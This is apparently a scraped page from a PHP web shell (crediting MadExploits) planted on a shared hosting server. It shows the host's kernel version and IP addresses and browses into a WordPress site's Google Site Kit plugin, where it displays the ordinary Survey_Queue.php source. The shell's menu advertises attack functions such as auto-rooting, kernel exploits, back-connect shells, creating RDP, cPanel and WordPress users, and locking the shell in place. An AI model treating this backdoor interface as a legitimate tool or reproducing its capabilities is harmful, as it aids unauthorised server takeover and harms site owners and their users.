Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.14.252.21
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
anonmags.com /
wp-content /
plugins /
google-site-kit /
includes /
Core /
User_Surveys /
[ HOME SHELL ]
Name
Size
Permission
Action
REST_User_Surveys_Controller.p...
7.39
KB
-rw-r--r--
Survey_Queue.php
3.27
KB
-rw-r--r--
Survey_Timeouts.php
1.81
KB
-rw-r--r--
User_Surveys.php
1.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Survey_Queue.php
<?php /** * Class Google\Site_Kit\Core\User_Surveys\Survey_Queue * * @package Google\Site_Kit\Core\User_Surveys * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\User_Surveys; use Google\Site_Kit\Core\Storage\User_Setting; use Google\Site_Kit\Core\Storage\Setting\List_Setting; /** * Class for handling surveys queue. * * @since 1.98.0 * @access private * @ignore */ class Survey_Queue extends User_Setting { use List_Setting; const OPTION = 'googlesitekit_survey_queue'; /** * Adds a new survey to the queue. * * @since 1.98.0 * * @param array $survey { * The survey object to add to the queue. * * @type string $survey_id Survey ID. * @type array $survey_payload Survey payload that describe survey questions and available completions. * @type array $session Session object that contains session ID and session token. * } * @return bool TRUE if the survey has been added to the queue, otherwise FALSE. */ public function enqueue( $survey ) { $surveys = $this->get(); // Do not add the survey if it is already in the queue. foreach ( $surveys as $item ) { if ( $item['survey_id'] === $survey['survey_id'] ) { return false; } } $surveys[] = $survey; $this->set( $surveys ); return true; } /** * Dequeues a survey that has the provided survey ID. * * @since 1.98.0 * * @param string $survey_id The survey ID to dequeue. * @return array|null A survey object if it has been found, otherwise NULL. */ public function dequeue( $survey_id ) { $survey = null; // Search for the requested survey_id. $old_surveys = $this->get(); $new_surveys = array(); foreach ( $old_surveys as $item ) { if ( $item['survey_id'] === $survey_id ) { $survey = $item; } else { $new_surveys[] = $item; } } // Update existing surveys list if we have found the survey we need to dequeue. if ( ! is_null( $survey ) ) { $this->set( $new_surveys ); } return $survey; } /** * Gets the first survey in the queue without removing it from the queue. * * @since 1.98.0 * * @return array|null A survey object if at least one survey exists in the queue, otherwise NULL. */ public function front() { $surveys = $this->get(); return reset( $surveys ) ?: null; } /** * Gets the survey for the provided session. * * @since 1.98.0 * * @param array $session { * The current session object. * * @type string $session_id Session ID. * @type string $session_token Session token. * } * @return array|null A survey object if it has been found for the session, otherwise NULL. */ public function find_by_session( $session ) { $surveys = $this->get(); foreach ( $surveys as $survey ) { if ( ! empty( $survey['session']['session_id'] ) && ! empty( $session['session_id'] ) && $survey['session']['session_id'] === $session['session_id'] ) { return $survey; } } return null; } /** * Sanitizes array items. * * @since 1.98.0 * * @param array $items The original array items. * @return array Filtered items. */ protected function sanitize_list_items( $items ) { return $items; } }
Close